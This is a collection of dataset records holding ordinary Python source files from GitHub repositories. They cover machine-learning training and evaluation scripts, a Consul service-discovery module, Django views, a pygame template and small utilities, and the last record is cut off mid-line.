add_help=False)\n parser.add_argument('-c','--config_file', type=str, \n help='Path to the configuration file',\n default='config/acoustic/GRF_7Hz/FNO25k.yaml')\n parser.add_argument('-do', '--do', type=str,\n help='do', \n default=\"test\")\n parser.add_argument('-n', '--numb_samples', type= int, default = 3)\n parser.add_argument('-ckpt', '--checkpoint', type=str, \n help='Path to the checkpoint file',\n default=None)\n \n args=parser.parse_args()\n config_file = args.config_file\n with open(config_file, 'r') as stream:\n config = yaml.load(stream, yaml.FullLoader)\n if config[\"model\"][\"activ\"] is None:\n activ = \"Identity\"\n else: \n activ = config[\"model\"][\"activ\"]\n database= activ+\"_\"+config[\"data\"][\"process\"]\n name= config[\"ckpt\"][\"alias\"]\n if args.checkpoint is None:\n c_save = config[\"ckpt\"]\n if config[\"ckpt\"][\"alias\"]== \"sFNO+epsilon_v2\": \n ckpt = \"epoch=199-step=166800.ckpt\"\n else: \n ckpt = \"epoch=99-step=50000.ckpt\"\n \n list_test = []\n for k in range(0,args.numb_samples):\n args.checkpoint = os.path.join(c_save[\"PATH\"], \n c_save[\"save_dir\"], \"lightning_logs\", f\"version_{k}\",\\\n \"checkpoints\", ckpt) \n list_test.append(test(config,args=args))\n print(list_test)\n saving_files(list_test, database=database, name =name)\n elif args.checkpoint is not None: \n list_test= test(config,args=args)\n print(list_test)\n saving_files([list_test], database=database, name =name)\n\n","repo_name":"JALB-epsilon/Fine-tuning-NOs","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":3492,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"22331275512","text":"import abc\nfrom typing import ClassVar, Dict, Type, Callable, TypeVar, List\n\nfrom mtap import constants, _config\n\nT = TypeVar('T', bound='DiscoveryMechanism')\n\n\nclass DiscoveryMechanism(abc.ABC):\n \"\"\"Abstract base class for service discovery mechanisms.\n\n Uses a registry system to register subclasses. Note that your subclass\n must have a zero-args constructor, which will be used to instantiate the\n class. Your implementation can pass state using the :class:`mtap.Config`\n object. Note that to use your discovery mechanism its containing module\n must be imported somewhere before it can be instantiated. See the example\n below or the ConsulDiscovery class in this source file for how to\n implement.\n\n Examples:\n Implementing a new discovery mechanism.\n\n >>> import mtap\n >>>\n >>> @DiscoveryMechanism.register('my_discovery')\n >>> class MyDiscovery(DiscoveryMechanism):\n >>> def __init__(self):\n >>> config = mtap.Config()\n >>> # retrieve configuration from config object.\n >>> ... # implement methods\n >>>\n >>> with mtap.Config() as c:\n >>> c['discovery'] = 'my_discovery'\n >>> with mtap.EventsClient() as client:\n >>> ... # client will use MyDiscovery to lookup event service\n\n \"\"\"\n registry: 'ClassVar[Dict[str, Type[DiscoveryMechanism]]]' = {}\n\n def __new__(cls):\n config = _config.Config()\n cls = DiscoveryMechanism.registry[config['discovery']]\n return super(DiscoveryMechanism, cls).__new__(cls)\n\n @abc.abstractmethod\n def register_events_service(self,\n sid: str,\n address: str,\n port: int,\n version: str) -> Callable[[], None]:\n \"\"\"Registers an events service for discovery.\n\n Use the ``mtap.constants.EVENTS_SERVICE_NAME`` value as a service\n name if one is needed.\n\n Args:\n sid: The service instance unique identifier.\n address: The address.\n port: The port.\n version: An API version identifier for the service.\n\n Returns:\n A zero-argument callback which can be used to de-register this\n registered service.\n\n \"\"\"\n raise NotImplementedError\n\n @abc.abstractmethod\n def discover_events_service(self, version: str) -> List[str]:\n \"\"\"Discovers any available events services.\n\n Args:\n version: An API version identifier to filter on.\n\n Returns:\n A list of ipv4 addresses\n\n \"\"\"\n raise NotImplementedError\n\n @abc.abstractmethod\n def register_processor_service(self, name, sid, address, port, version):\n raise NotImplementedError\n\n @abc.abstractmethod\n def discover_processor_service(self, processor_name, version):\n raise NotImplementedError\n\n @classmethod\n def register(cls, name: str) -> Callable[[T], T]:\n def decorator(dm_cls: T) -> T:\n DiscoveryMechanism.registry[name] = dm_cls\n return dm_cls\n\n return decorator\n\n\n@DiscoveryMechanism.register('consul')\nclass ConsulDiscovery(DiscoveryMechanism):\n REQUEST_TIMEOUT: int = 10\n\n def __init__(self):\n import consul\n config = _config.Config()\n host = config['consul.host']\n self.interval = config['consul.interval']\n self.c = consul.Consul(host=host,\n port=config['consul.port'],\n scheme=config['consul.scheme'])\n\n def register_events_service(self, sid, address, port, version):\n name = constants.EVENTS_SERVICE_NAME\n self.c.agent.service.register(name,\n service_id=sid,\n port=port,\n check={\n 'grpc': \"{}:{}/{}\".format(address,\n port,\n name),\n 'interval': self.interval,\n 'status': 'passing'\n },\n tags=[version],\n timeout=ConsulDiscovery.REQUEST_TIMEOUT)\n\n def deregister():\n self.c.agent.service.deregister(\n service_id=sid\n )\n\n return deregister\n\n def discover_events_service(self, version):\n \"\"\"Delegates discovery to grpc's dns name resolution.\n\n \"\"\"\n name = constants.EVENTS_SERVICE_NAME\n _, services = self.c.health.service(\n name,\n tag='v1',\n wait=f\"{ConsulDiscovery.REQUEST_TIMEOUT}s\"\n )\n addresses = []\n if len(services) == 0:\n raise ValueError('No addresses found for events service')\n for service in services:\n addresses.append(\"{}:{}\".format(service['Node']['Address'],\n service['Service']['Port']))\n return addresses\n\n def register_processor_service(self, name, sid, address, port, version):\n self.c.agent.service.register(name,\n service_id=sid,\n port=port,\n check={\n 'grpc': \"{}:{}/{}\".format(address,\n port,\n name),\n 'interval': self.interval,\n 'status': 'passing'\n },\n tags=[constants.PROCESSING_SERVICE_TAG],\n timeout=ConsulDiscovery.REQUEST_TIMEOUT)\n\n def deregister():\n self.c.agent.service.deregister(\n service_id=sid\n )\n\n return deregister\n\n def discover_processor_service(self, processor_name, version):\n tag = constants.PROCESSING_SERVICE_TAG\n _, services = self.c.health.service(\n processor_name,\n tag=tag,\n wait=f\"{ConsulDiscovery.REQUEST_TIMEOUT}s\"\n )\n addresses = []\n for service in services:\n addresses.append(\"{}:{}\".format(service['Node']['Address'],\n service['Service']['Port']))\n return \"ipv4:\" + ','.join(addresses)\n","repo_name":"nlpie/mtap","sub_path":"python/mtap/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":6761,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"28394156286","text":"import torch\r\nimport matplotlib.pyplot as plt\r\nfrom torchvision.utils import save_image\r\nfrom GAN.MnistCGanNet import G_Net, D_Net\r\nfrom PIL import Image\r\n\r\nSAVE_PATH_D_NET = 'model/face_gan_d_net_cgan.pkl'\r\nSAVE_PATH_G_NET = 'model/face_gan_g_net_cgan.pkl'\r\nnum_img = 10\r\ng = G_Net()\r\nd = D_Net()\r\n\r\ng.load_state_dict(torch.load(SAVE_PATH_G_NET))\r\nd.load_state_dict(torch.load(SAVE_PATH_D_NET))\r\n\r\nimg_list = []\r\nfor i in range(10):\r\n z = torch.randn((num_img, 118))\r\n x = torch.zeros((num_img, 10))\r\n x[:, i] = 1\r\n z = torch.cat((z, x), dim=1)\r\n z = z.reshape(z.size(0), -1, 1, 1)\r\n\r\n fake_img = g(z)\r\n img_arr = (fake_img.data.numpy() * 0.5 + 0.5) * 255\r\n img = Image.fromarray(img_arr.reshape(280, 28))\r\n plt.imshow(img)\r\n plt.pause(0.1)\r\n img_list.append(fake_img.data.tolist())\r\n img_tensor = torch.tensor(img_list)\r\n\r\nimages = img_tensor.reshape([100, 1, 28, 28])\r\nsave_image(images, 'pic/cgantest/cgan_fake_img_{}.png'.format('img'), nrow=10, normalize=True, scale_each=True)\r\n","repo_name":"Mr-C86/GAN","sub_path":"CganTest.py","file_name":"CganTest.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8682740056","text":"\"\"\"\nbasic_template.py\n\nBasic PyGame template for creating a simple game loop that displays a blank white screen.\n\n\"\"\"\n__author__ = \"Kenneth Berry\"\n\nimport pygame as pg\n\n\nDISPLAY_SIZE = (700, 500) # Display window size (width, height)\nCAPTION = \"My Game\" # Display window caption\n\n# Constant Colors:\nWHITE = (255, 255, 255) #(Red, Green, Blue)\n\n\nclass Game:\n \"\"\"\n Basic game loop object.\n \"\"\"\n\n def __init__(self, size, caption):\n self.screen = pg.display.set_mode(size)\n pg.display.set_caption(caption)\n self.window_size = size\n self.done = False # Flag for exiting game loop\n self.clock = pg.time.Clock() # Clock to help controll frames per second\n\n def event_handler(self):\n \"\"\"\n Handle events.\n \"\"\"\n for event in pg.event.get():\n if event.type == pg.QUIT:\n self.done = True\n #-- Add event handling code here --#\n\n def update(self):\n \"\"\"\n Update game objects.\n \"\"\"\n #-- Add game updates and logic here --#\n\n def render(self):\n \"\"\"\n Render screen to display.\n \"\"\"\n self.screen.fill(WHITE) # Fill background before drawing scene\n #-- Add rendering code here --#\n\n #-----------------------------#\n pg.display.flip() # Draw the screen onto the display window\n\n def run(self):\n \"\"\"\n Run main game loop.\n \"\"\"\n while not self.done:\n self.event_handler()\n self.update()\n self.render()\n self.clock.tick(20)\n\n\nif __name__ == \"__main__\":\n pg.init()\n GAME = Game(DISPLAY_SIZE, CAPTION)\n GAME.run()\n pg.quit()\n","repo_name":"RossBerry/python","sub_path":"pygame/templates/basic_template.py","file_name":"basic_template.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28219895395","text":"from django.conf import settings\nfrom django.shortcuts import render\n\nfrom heating.models import Zone, Boiler, MixingValve\nfrom hotwater.models import CircPump, WaterHeater\n\n\ndef dashboard(request):\n return render(request, 'automation/automation-dashboard.html', {'host': settings.DATASERVER_HOST})\n\n\ndef plot(request):\n dzones = []\n dboilers = []\n dvalves = []\n dpumps = []\n dheaters = []\n zones = Zone.objects.all().order_by('name')\n boilers = Boiler.objects.all().order_by('name')\n valves = MixingValve.objects.all().order_by('name')\n pumps = CircPump.objects.all().order_by('name')\n heaters = WaterHeater.objects.all().order_by('name')\n hours = 24\n if 'datapts' in request.GET:\n hours = request.GET['datapts']\n if 'ALL' in request.GET:\n for z in zones:\n dzones.append(z.name)\n for b in boilers:\n dboilers.append(b.name)\n for v in valves:\n dvalves.append(v.name)\n for c in pumps:\n dpumps.append(c.name)\n for h in heaters:\n dheaters.append(h.name)\n else:\n for z in zones:\n if z.name in request.GET:\n dzones.append(z.name)\n for b in boilers:\n if b.name in request.GET:\n dboilers.append(b.name)\n for v in valves:\n if v.name in request.GET:\n dvalves.append(v.name)\n for p in pumps:\n if p.name in request.GET:\n dpumps.append(p.name)\n for h in heaters:\n if h.name in request.GET:\n dheaters.append(h.name)\n return render(request, 'automation/automation-plot.html', {'host': settings.DATASERVER_HOST,\n 'hours': hours,\n 'zones': dzones,\n 'boilers': dboilers,\n 'valves': dvalves,\n 'pumps': dpumps,\n 'heaters': dheaters,\n })","repo_name":"jnusbaum/automation","sub_path":"automation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"500193150","text":"#using a pre-trained model InceptionV3 to classify the emotion and using a dataset to test the model\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\nimport tensorflow as tf\nprint(tf.__version__)\nfrom tensorflow.keras.applications import InceptionV3\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.applications.inception_v3 import preprocess_input\nfrom keras.layers import Input, GlobalAveragePooling2D, Dense, Multiply\nfrom keras.models import Model\nfrom keras.models import load_model\nfrom tensorflow.keras.optimizers import SGD\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import KFold, train_test_split\nimport pandas as pd\nimport os\nimport shutil\nimport random\nimport math\n\nnum_classes = 2\n\npath_dataset = \"../../main_dataset/\"\n\ntrain_dataset = \"../../main_dataset/train\"\ntest_dataset = \"../../main_dataset/test\"\nval_dataset = \"../../main_dataset/val\"\n\ntrain_datagen = ImageDataGenerator(\n #rotation_range=20,\n #width_shift_range=0.1,\n #height_shift_range=0.1,\n zoom_range=0.2,\n #horizontal_flip=True,\n #vertical_flip=True,\n rescale=1./255,\n brightness_range=[0.5, 1.5], # add brightness augmentation\n)\n\nval_datagen = ImageDataGenerator(rescale=1./255)\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntrain_generator = train_datagen.flow_from_directory(\n train_dataset,\n target_size=(299, 299),\n batch_size=32,\n class_mode='categorical'\n)\n\nval_generator = val_datagen.flow_from_directory(\n val_dataset,\n target_size=(299, 299),\n batch_size=32,\n class_mode='categorical',\n shuffle=False\n)\n\ntest_generator = test_datagen.flow_from_directory(\n test_dataset,\n target_size=(299, 299),\n batch_size=32,\n class_mode='categorical',\n shuffle=False\n)\n\n#define classes and print each class and number of samples\nclasses = train_generator.class_indices\nprint(classes)\n\n#count number of samples in each class\n\n\"\"\"\n\n Neutro (18%) Não Neutro (82%)\n\nTeste 1367 6110 7477 (20%)\nTreino 4909 21690 26599 (72%)\nValidação 545 2409 2954 (8%)\n 37030 (100%)\n\n\"\"\"\n\nneutral = 6821\nnotneutral = 30209\ntotal = neutral + notneutral\n\n# Scaling by total/2 helps keep the loss to a similar magnitude.\n# The sum of the weights of all examples stays the same.\nweight_for_0 = (1 / neutral) * (total / 2.0)\nweight_for_1 = (1 / notneutral) * (total / 2.0)\n\nprint('Weight for class 0: {:.2f}'.format(weight_for_0))\nprint('Weight for class 1: {:.2f}'.format(weight_for_1))\n\n#higher weight for the class with less samples (neutral class)\nclass_weights = {0: weight_for_0, 1: weight_for_1}\n\n# Load the InceptionV3 model without the top layer\ninception_model = InceptionV3(weights='imagenet', include_top=False)\n\n# Freeze the first 249 layers of the model - correspondent to the early convolutional layers\nfor layer in inception_model.layers[:279]:\n layer.trainable = False\n\nfor layer in inception_model.layers[279:]:\n layer.trainable = True\n\n# Add your own top layers to the model\nx = GlobalAveragePooling2D()(inception_model.output)\nx = Dense(128, activation='relu')(x)\noutput = Dense(num_classes, activation='softmax')(x)\nmodel = Model(inputs=inception_model.input, outputs=output)\n\n# Compile the model with a low learning rate\nopt = SGD(lr=0.001, momentum=0.9)\nmodel.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy'])\n\n''' K-FOLD CROSS VALIDATION'''\n\n# Define the number of folds\nk = 5\n\n# Get the list of directories in the training dataset\nclass_directories_train = os.listdir(train_dataset)\n\n# Split each class directory into k parts\nclass_parts_train = []\nfor class_dir in class_directories_train:\n class_path = os.path.join(train_dataset, class_dir)\n class_files = os.listdir(class_path)\n random.shuffle(class_files) # Shuffle the files to ensure randomness\n class_parts_train.append(np.array_split(class_files, k))\n\n# Get the list of directories in the training dataset\nclass_directories_val = os.listdir(val_dataset)\n\n# Split each class directory into k parts\nclass_parts_val = []\nfor class_dir in class_directories_val:\n class_path = os.path.join(val_dataset, class_dir)\n class_files = os.listdir(class_path)\n random.shuffle(class_files) # Shuffle the files to ensure randomness\n class_parts_val.append(np.array_split(class_files, k))\n\nk_folds = []\nfor i in range(k):\n train_files = []\n val_files = []\n for j, class_dir_train in enumerate(class_directories_train):\n class_part_train = class_parts_train[j][i]\n train_files += [os.path.join(train_dataset,class_dir_train, filename) for filename in class_part_train]\n for k, class_dir_val in enumerate(class_directories_val):\n class_part_val = class_parts_val[k][i]\n val_files += [os.path.join(val_dataset, class_dir_val, filename) for filename in class_part_val]\n train_labels = [os.path.split(os.path.dirname(file))[1] for file in train_files]\n val_labels = [os.path.split(os.path.dirname(file))[1] for file in val_files]\n train_df = pd.DataFrame({\"filename\": train_files, \"class\": train_labels})\n val_df = pd.DataFrame({\"filename\": val_files, \"class\": val_labels})\n k_folds.append((train_df, val_df))\n\n\n# Perform k-fold cross-validation\nfor fold, (train_df, val_df) in enumerate(k_folds):\n print(\"Fold \", fold+1)\n #print(\"Train \", train_df)\n #print(\"Val \", val_df)\n train_generator = ImageDataGenerator(preprocessing_function=preprocess_input).flow_from_dataframe(\n train_df,\n x_col=\"filename\",\n y_col=\"class\",\n target_size=(299, 299),\n batch_size=32,\n shuffle=True)\n val_generator = ImageDataGenerator(preprocessing_function=preprocess_input).flow_from_dataframe(\n val_df,\n x_col=\"filename\",\n y_col=\"class\",\n target_size=(299, 299),\n batch_size=32,\n shuffle=False)\n\n # Train the model for this fold\n history = model.fit(\n train_generator,\n steps_per_epoch=len(train_generator),\n epochs=10,\n validation_data=val_generator,\n validation_steps=len(val_generator))\n \n # Evaluate the model on the validation set for this fold\n scores = model.evaluate(val_generator, steps=len(val_generator))\n print(f\"Validation accuracy for fold {fold+1}: {scores[1]*100}%\")\n print(f\"Validation loss for fold {fold+1}: {scores[0]*100}%\")\n\n #train accuracy\n scores = model.evaluate(train_generator, steps=len(train_generator))\n print(f\"Train accuracy for fold {fold+1}: {scores[1]*100}%\")\n print(f\"Train loss for fold {fold+1}: {scores[0]*100}%\")\n\n #graph for the training and validation accuracy\n #plot the accuracy and loss\n plt.plot(history.history['accuracy'])\n plt.plot(history.history['val_accuracy'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n #save\n plt.savefig('accuracy_inceptionv3_fold_' + str(fold+1) +'.png')\n\n #clear plot\n plt.clf()\n\n\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n\n #save\n plt.savefig('loss_inceptionv3_fold_' + str(fold+1) +'.png')\n\n #clear plot\n plt.clf()\n\n'''END OF K-FOLD CROSS VALIDATION'''\n\n'''FINE TUNING'''\n\n# Unfreeze all layers of the model\nfor layer in inception_model.layers:\n layer.trainable = True\n\n# Use a lower learning rate for fine-tuning\nopt = SGD(lr=0.0001, momentum=0.9)\nmodel.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy'])\n\n# Fine-tune the model on your own dataset\nhistory = model.fit(train_generator, epochs=50, validation_data=val_generator, class_weight=class_weights)\n\n#save the model\nmodel.save('../../inceptionv3_kfold.h5')\n\n\n#evaluate the model on the test dataset\nscores = model.evaluate(test_generator, steps=len(test_generator))\nprint(f\"Test accuracy: {scores[1]*100}%\")\nscores = model.evaluate(test_generator, steps=len(test_generator))\nprint(f\"Test loss: {scores[0]*100}%\")\n\nscores = model.evaluate(val_generator, steps=len(val_generator))\nprint(f\"Validation accuracy: {scores[1]*100}%\")\nscores = model.evaluate(val_generator, steps=len(val_generator))\nprint(f\"Validation loss: {scores[0]*100}%\")\n\nscores = model.evaluate(train_generator, steps=len(train_generator))\nprint(f\"Train accuracy: {scores[1]*100}%\")\nscores = model.evaluate(train_generator, steps=len(train_generator))\nprint(f\"Train loss: {scores[0]*100}%\")\n\n\n#plot the accuracy and loss\nplt.plot(history.history['accuracy'])\nplt.plot(history.history['val_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'validation'], loc='upper left')\n#save\nplt.savefig('accuracy_inceptionv3.png')\n\n#clear plot\nplt.clf()\n\n\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'validation'], loc='upper left')\n\n#save\nplt.savefig('loss_inceptionv3.png')\n\n#clear plot\nplt.clf()\n\n#predict the test set and print the classification report and confusion matrix with number of classes 2 (neutral and not neutral) and target names neutral and not neutral \ny_pred = model.predict(test_generator)\ny_pred = np.argmax(y_pred, axis=1)\nprint('Classification Report')\ncr = classification_report(test_generator.classes, y_pred, target_names=['neutral', 'notneutral'])\nprint(cr)\n\nprint('Confusion Matrix')\ncm = confusion_matrix(test_generator.classes, y_pred)\nprint(cm)\n","repo_name":"luciasousa/detect-poker-face","sub_path":"tese/inceptionv3_kfold_tune.py","file_name":"inceptionv3_kfold_tune.py","file_ext":"py","file_size_in_byte":9758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11565424906","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 22 15:46:47 2022\n\n@author: mlenderi\n\"\"\"\nfrom math import sqrt\nfrom numpy import split\nfrom pandas import read_csv\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom matplotlib import pyplot\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers import LSTM\nfrom keras.layers import RepeatVector\nfrom keras.layers import TimeDistributed\nfrom keras.layers import ConvLSTM2D\nfrom keras import regularizers\nfrom keras.layers import Dropout\nfrom keras.callbacks import EarlyStopping, Callback\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\n\n\n#%%\ndef lstm_data(df, timestamps):\n array = np.empty((0,df.shape[1]))\n range_ = df.shape[0]-(timestamps-1)\n for t in range(range_):\n dfp = df[t:t+timestamps, :]\n array = np.vstack((array, dfp))\n\n df_array = array.reshape(-1,timestamps, array.shape[1])\n #inverse_array = sc.inverse_transform(df_array)\n return df_array\n\n\n \n\n\n\n#%%\ndf = pd.read_csv(\"AR_Items_All_CoCodes_2018_2022.csv\", delimiter = ',',encoding = \"UTF-16\",header=0, infer_datetime_format=True, parse_dates=['Clearing_date'], index_col=['Clearing_date'])\ndf['Amount_gc_ecc'] = df['Amount_gc_ecc'].astype(int)\n\n\n#summing amount per day/week\ndf = df.resample('W').sum()\n\n#selection of dataset days\ndf = df[\"2018-01-01\":\"2020-05-01\"]\n\n#selection of amount variable\ndf = df.loc[:, ['Amount_gc_ecc']]\n#df = pd.DataFrame(range(0,150))\n#creating the lagged 1 year variable\ndf[\"Amount_lagged\"] = df.shift(48)\n\n#dropping data with no lag\n#df = df.dropna(0)\ndf = df.values\n\n\n\n\n\n\n#%% SPLITTING THE DATASET INTO TRAIN AND TEST \ndataset = df\n\n#Number of validation and test weeks\nN_val_weeks = 16\nN_test_weeks = 32\n\n\n\n#selecting only the outcome amount data\ntrain_data = dataset[:len(dataset)-N_test_weeks-N_val_weeks]\nval_data = dataset[len(dataset)-N_test_weeks-N_val_weeks:len(dataset)-N_test_weeks]\ntest_data = dataset[len(dataset)-N_test_weeks:]\n\nscaler = MinMaxScaler()\nscaled_train_data = scaler.fit_transform(train_data)\nscaled_val_data = scaler.transform(val_data)\nscaled_test_data = scaler.transform(test_data)\n\n#combine the scaled datasets such that the data roll can be applied\ndataset = np.vstack((scaled_train_data, scaled_val_data, scaled_test_data))\n\ndataset = lstm_data(dataset, 4)\n\n\n\n\n\n#splitting Y_df and X_df where X_df is rolled 4 weeks back such that the past 4 weeks forecast the upcoming 4 weeks\nY_df = dataset[:,:,:1]\nX_df = np.roll(dataset, 4, axis = 0)\n\n\n#Creating train set\nY_df_train = Y_df[:len(Y_df)-N_test_weeks-N_val_weeks,:,:]\nX_df_train = X_df[:len(Y_df)-N_test_weeks-N_val_weeks,:,:]\n\n#Creating validation set\nY_df_val = Y_df[len(Y_df)-N_test_weeks-N_val_weeks:len(Y_df)-N_test_weeks,:,:]\nX_df_val = X_df[len(X_df)-N_test_weeks-N_val_weeks:len(X_df)-N_test_weeks,:,:]\n\n#Creating test set\nY_df_test = Y_df[len(Y_df)-N_test_weeks:,:,:]\nX_df_test = X_df[len(X_df)-N_test_weeks:,:,:]\n\n\n\n#deleting first year from both due to the lag the shift created and the roll of 4 weeks (52+4)\n#Only needed in train set because the X_df was shifted foreward\nY_df_train = Y_df_train[56:]\nX_df_train = X_df_train[56:]\n\n\n#%% LSTM MODEL Best model till now 0.18696746359929242 is [480,128,32,32][164,1] batch size = 4, epoch= 100\n#Defining training parameters \nverbose, epochs, batch_size = 1, 1000, 4\n\n#Defining the model\nmodel = Sequential()\nmodel.add(LSTM(units = 32 ,return_sequences = False , activation='relu'))\nmodel.add(Dropout(0))\nmodel.add(Dense(96, activation='relu'))\nmodel.add(Dense(32, activation='relu'))\n\nmodel.add(Dense(4))\nmodel.compile(loss='mse', optimizer='adam')\n\n# fit network\nes = EarlyStopping(monitor='val_loss', patience=20, restore_best_weights=True)\nmodel.fit(X_df_train, Y_df_train, epochs=epochs, batch_size=batch_size, verbose=verbose, validation_data = (X_df_val, Y_df_val), callbacks = [es] )\n\n#Prediction values from model\nprediction = model.predict(X_df_test)\n\n#Actual values\nactual = Y_df_test[:,1]\n\nactual_list = Y_df_test.tolist()\n\n\n\nLSTM_actual_list = []\nfor i in actual_list:\n for p in i:\n LSTM_actual_list.append(p[0])\n \nLSTM_prediction_list = []\nfor i in prediction:\n for p in i:\n LSTM_prediction_list.append(p)\n\nLSTM_4_week_RMSE = mean_squared_error(LSTM_actual_list, LSTM_prediction_list, squared = False)\nprint(LSTM_4_week_RMSE)\n\nfrom sklearn.metrics import mean_absolute_error\nLSTM_4_week_MAE = mean_absolute_error(LSTM_actual_list, LSTM_prediction_list)\nprint(LSTM_4_week_MAE)\n\nplt.plot(LSTM_actual_list, label = \"actual\")\nplt.plot(LSTM_prediction_list, label = \"prediction\")\nplt.legend()\n\n\n#%%\n#model.save(\"Com_LSTM_model\")\n#pd.DataFrame(LSTM_prediction_list).to_csv(\"Com_LSTM_pred.csv\")\n#pd.DataFrame(LSTM_actual_list).to_csv(\"Com_LSTM_actual_list.csv\")\n\n\n\n\n","repo_name":"Mathijs-L/Master-Thesis","sub_path":"Company data Scripts/LSTM neural network/Com_LSTM.py","file_name":"Com_LSTM.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10384428743","text":"# 유효한 팰린드롬 (데크 자료형을 이용한 최적화)\n\nimport collections\n\nclass Solution:\n def isPalindrome(self, s: str) -> bool:\n # 자료형 테크 선언\n strs: Deque = collections.deque()\n for char in s:\n if char.isalnum():\n strs.append(char.lower())\n\n while len(strs) > 1:\n if strs.popleft() != strs.pop():\n return False\n\n return True\n\n\ndef main():\n sol = Solution()\n\n s = \"A man, a plan, a canal: Panama\"\n result = sol.isPalindrome(s)\n print(result)\n\n s = \"race a car\"\n result = sol.isPalindrome(s)\n print(result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"anifilm/for-coding-test","sub_path":"_books/python_algorithm_interview/chap06/1-2_valid_palindrome.py","file_name":"1-2_valid_palindrome.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10850863980","text":"import hashlib\nimport os\nimport cadquery as cq\n\nclass modeloML(object):\n\n def __init__(self, file):\n # init variables\n self.file = file\n self.preddiccion = 0\n\n # algoritmo de preddicion\n self.file = self.preProcesar()\n self.predeccir()\n self.eliminarFichero()\n\n def predeccir(self):\n with open(self.file,\"rb\") as f:\n bytes = f.read() # read file as bytes\n readable_hash = hashlib.md5(bytes).hexdigest();\n print(readable_hash)\n self.preddiccion = 1\n\n def eliminarFichero(self):\n os.remove(self.file)\n\n def preProcesar(self):\n input_file = \"media/{}\".format(self.file)\n output_file = input_file +'.stl'\n\n afile = cq.importers.importStep(input_file)\n cq.exporters.export(afile,output_file)\n os.remove(input_file)\n\n os.system(\"admesh {} --write-off={}.off\".format(output_file,output_file))\n return output_file + \".off\"\n","repo_name":"JuanPMC/technova-base","sub_path":"uploadapp/modeloML.py","file_name":"modeloML.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44264790445","text":"from keras.models import Model, load_model\nfrom load_data import load_csv, get_onehot\nimport numpy as np\n\n\"\"\"\nAs described in the paper, selects pairs of proteins,\nembeds them, and calculates distances. Calculates the fraction\nof classes in which the correct pairing is within the top closest pairings.\n\"\"\"\n\n#EDIT THESE PARAMETERS (see README)--------------------------\nis_dna_data = True\n\nnum_classes = 10000 #test classes, not train classes\ntop_n = [1, 10, 20, 50]\n\nmodel_name = 'blstm_dna_100class_dspace_4500'\nseq_len = 4500\ndata_file = 'my_dir/test.csv'\n\nmask = False\nmask_len = 113\n\nmodel_file = 'model_dir/'+model_name+'.h5'\n\n#-------------------------------------------------------------\n\nmodel = load_model(model_file)\n#the embedding can be found at \"lstm_2\": output of last LSTM layer\nembed_model = Model(inputs=model.input, outputs=model.get_layer(\"lstm_2\").output)\nembed_model.summary()\n\nsingle_dict = dict()\npair_dict = dict()\ndata = load_csv(data_file)\nfor (x, y) in data:\n\tif y in pair_dict:\n\t\tcontinue\n\tif y in single_dict:\n\t\tassert x != single_dict[y]\n\t\tpair_dict[y] = [single_dict[y], x]\n\telse:\n\t\tsingle_dict[y] = x\n\tif len(pair_dict) == num_classes:\n\t\tbreak\n\nchosen_data = []\nfor i in range(2):\n\tfor y in pair_dict:\n\t\tx = pair_dict[y][i]\n#\t\tprint len(x)\n\t\tchosen_data.append((x, y))\n\nx, y, m = get_onehot(chosen_data, None, is_dna_data=is_dna_data, seq_len=seq_len, mask_len=mask_len if mask else None)\nembed = embed_model.predict([x,m] if mask else x)\n\npos_counts = dict()\ncorrect_counts = dict()\nfor n in top_n:\n\tpos_counts[n] = []\n\tcorrect_counts[n] = 0.0\n\tfor _ in range(n):\n\t\tpos_counts[n].append(0)\n\nfor i in range(num_classes):\n\tdistances = dict()\n\tex = embed[i + num_classes]\n\tfor j in range(num_classes):\n\t\tdist = np.linalg.norm(ex - embed[j])\n\t\tdistances[j] = dist\n\tbest = sorted(distances, key=distances.get)#[0:top_n]\n\t#print i, \":\", best\n\tfor n in top_n:\n\t\tfor pos in range(n):\n\t\t\tif best[pos] == 